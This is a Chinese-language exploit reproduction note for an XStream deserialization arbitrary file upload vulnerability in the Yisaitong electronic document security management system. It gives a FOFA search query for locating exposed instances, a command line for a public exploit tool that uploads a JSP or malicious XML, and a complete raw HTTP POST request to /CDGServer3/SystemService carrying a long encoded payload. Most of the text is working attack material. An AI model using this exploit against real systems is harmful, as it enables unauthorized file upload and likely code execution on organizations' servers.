亿赛通电子文档安全管理系统 XStream反序列化任意文件上传

影响版本

全版本

网络空间测绘

FOFA：app=“亿赛通-电子文档安全管理系统”

复现

可使用以下工具直接上传JSP或自定义恶意XML。
https://github.com/0xf4n9x/CDGXStreamDeserRCE
CDGXStreamDeserRCE.jar

java -jar CDGXStreamDeserRCE.jar -uf C:\Download\xxxlx2.txt -t https://xxxx -p http://127.0.0.1:8080
                                      (本地上传的文件)   （目标地址）                                        

POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Content-Type: text/xml
Host: 
Content-Length: 4582

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHEAIBHCEHALKGKJLIHHCLCCFBIKJPPCPFNEGBEFHIIEJLDLCIILGOJPCLALLDPIDJHNKDNPOGOMLIKGCBDNHJCLCGGGOMLKAEPNAGGHFCBGCALOHIGGKEHKPJNEBFGMJKCJFFDMMAHGEOFPIIPOIMALJHAFMLDLBBBOMCDBPJEHEJANCKCIEDBEIMIKONBEAMGGHGEFNOJGHKIELJBJLJCJFKCLOJEGIPPJOCNGCMBAKHADFNLEDMOJNMBGNGBMBFNPLIBGDCCNMDNDNOIPOECCPELCEDPGCNKGBDFKLJLNIJNAEFOPOLBLLCHOPIJCDNGEJGPMAFCFNLGKJDPKEBNDBEOIKINLEPIBJAGEBMEFKHPEKAPANDBGCGDBKKBJGFIOMHNPHOGAPDIFOBAMIGMNOFJAFJKNMFCBFNHAJELKBHCENAJDNEBNDCIOEOHAIOFKPEKJEPCDGPGGKENMHNOGKPMMADGIPOOJKHPGOIGDLNJFJGOIIEHCLGOLLGONJLFDBNMJCPJDDDKGDLKMCILLIEKBEDADHHJGENFBCKCACMIMIPDDGJFANEEFFILNPFMEEAOGCOFPPBCGCMEJDEHJILGKBDAKCPJMFODBFIEGHLPBLLGOHGABBGLENANFJGAEHBANPEHDNHLNDHKPCKMEOCOBFEJLDGJFDBIOHBMICIEDOHCDJMLKFFEHDJGOBLKLMOJHGOHHMNEJBEKCEEPAMBJFGNCBDDEJPGNGJKKGMKPJIIHDCFFPFAOMOGDKFGMMDLILPCDNCCGACMNDPCEJCCOAMKOCNAFDNELOFMFJIEEJLDJKOEFDIGHLJGKEFCKBGGKCFFCIBIGBDFABJCFOCEDNJOJEBAEMFIEFPNBKGKGKFJDDEBDMKFFEKKAJOFPDMFBBALPJHINILPDEEPIMJOHPLDMOFMFCFMEAAJDNIGJGAFDMONIMNMIBKIGGCMLPFGDFNKOBLDKIHEDJJFJNEEBGMDICECOLIJNPJBMHOGMBKMILAIMJCICMDNBGMFBKPEGHFCHDCKJCKMDKFDLAGLDAHOCOEKIELNHNONOOFECAMDJNOOPNIMPMCNKHNGEJJMKFDPOGGNJLLJDAKHABCOCLGBMNIAMFEKBEMCGIEMDMGCOEDBDOMPKLMMMKLFPGEINCENPLOMMOIJHINAIPDNPKFIHHFMNKFEJDLHILCDEEPALCCOLILJFIAGEJILLHDFIELENBAKNPEBNADDDHBNCHBPNPOFBIDKOAAJFPEMGIKMBLFBDJNMGCBHPONCBDPELPPMPGDLCDOENPCBGGFLHANCPOGKPPEMBNOKJHBPPDHDLNKJLKCAJAAEPLFPJJFEBCPALCOMNOMCIKJCFBMAKIOFPNPLJMOAJDCNMKDCFIPHLFGMNDILAMLFFEGDMBCFAKAFBEFPFFHOLABOICHGGHFGLHPBIHODABLCBFCNBFKEODJINOLGPDHNLBOFMBALOFPBMGAIDOLJJJEELGAPIGBCHOJBEKLNBCOMCGIPNOOPPOEJHCOOKJHNELONFDGHDAPBKAMPGHHOGNCPKCGMEAMLKOLAIHLIADDJPCDJKHFAAAJNKKEKNNEJDOENAFGNAHGOHCFDLMGHMKHNKOEDFJMANPFJAKOILOJEOBMBLAOIOEFAOGJJKLOMGLACMBBMEEHIMNHGLCIFBGOKFCJAMFFIEFLLKOGEELMKMPMAKJMMOFKDJCFJGCGBDGLKDCNLGJGAHOBIPMPIFJPOIBLLAHHOBHHPGDILOENAEPPKPLEOPKMLDBCELDMFLPAJEGEIFJPMJBKEMDENGPNPCDLEDFKMKBGNLKPENBBHDMGGHNMEHHMMOOMGDOEFGANFJDDIJBHJLEBMIMILDFBLCLDIIAECKJHECJGCFJIPMHIIIDGMFLIAEPDEPJPILNDOLFFHNJFICIJOLGMIEMIBBEBPOHKJCADKMCBMHBMEGBLKCFJNAGLBNCFCJJIFOJPAEDJCPJGGMDKBDMPAHHPEFOJHCGAHLHMCBOJOEHDNJAJCOKBGKJGFHKGGHIIIIMLKMJEFELFABKCLONJPBLAMBBPHKJBEDJLLALIMLIPJFBNEGFDHPILGPCGADBNDGMNKNMOEKCAKDNFDHGPJPEJAOEHFEOKCJAMGMPCKKPJFCHECMAGIECDFLHGAJOGAELCDHNODFAALBHLGPGGFDKHINKKEGCDEDKNFHDAHMLLFMBJLPEFNGBDKIBJDFHNJKKJMLPCPJDHFNDBHGBLMMHPCFAKEDCHNOECHCKOBBOJDGKDHIFANKMLFHDPPCOBKAPMJPMOGCPJLEEMNIKPPHLNEEMIKKFGGCBBFNAMADDKMFBFDONINLMAKGKMGKKAIMAEBCJMKILBGAGIKLFBLONMCHNEHGLDNKJFELODIKPCJMDBNFDMIHAPHJLGAIDLFPKLDNMDGNLCOMMLKICBDAOFPIKEOIGAEBGOPPJKBCMKHIFNGMJCCOFFMCIMOFPLCCMNCFPHHDPAAJALBNBCOJEPFCJFJEFFNGOJKFLHGHJNBFPLODCFLBLBEKINLDNONLCLEPEHOGKFCEPKLABDJOOOABGBOBMMLLMBGOOPGDJMBEEGINKGIGCHIIILBJJFJJNIDDJCHDDLOHELOLEANPLEEHCHDOKLEIBHAPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJGKDNILPLLLHEJKJNGGDCADLNKNECJAGJLBFFAODGOMJNOPJIIEDEFBHLDLNAIBFDBJMJKFCLFOKBNCEKLKOEAEEDDMKNIEDBLJNKLAMJLOJFIJFMBOFNPMDEMBOHEDMJDGNEMGDAFFGJMPHLCGPAILFPPOLOAKOFJDMMILKLINJMIEDPFLIBNIPJMOOGNPLJNDJKJPNJKIKAMCKOMLKMELOCOFLDDJIEBGNBBLPMFNDGIHDEFAFHPJNAEPABGAOADKJMLCNLFMEPLIFKGJFPBBGHOCJDGPJFAKPIHNJJIPPBBIFJCIPGFNKBBLLGDOJGBPHKHELACOMFMJBCMEIALEBJEHDFLGPMMCEJIPIBIGGGLAMOKFKMKGJACLLNNHIPDJLHPNBJFMLBINBEOBJMLPILNJNNBLHMDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNGFPFLJJMGANGAOLPGIFAFNEEACNKMJLFHEKBBILILPEGMIODENBNOOCENDGLDCKBGEFDCL

存在的响应包

java -jar CDGXStreamDeserRCE.jar -d FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN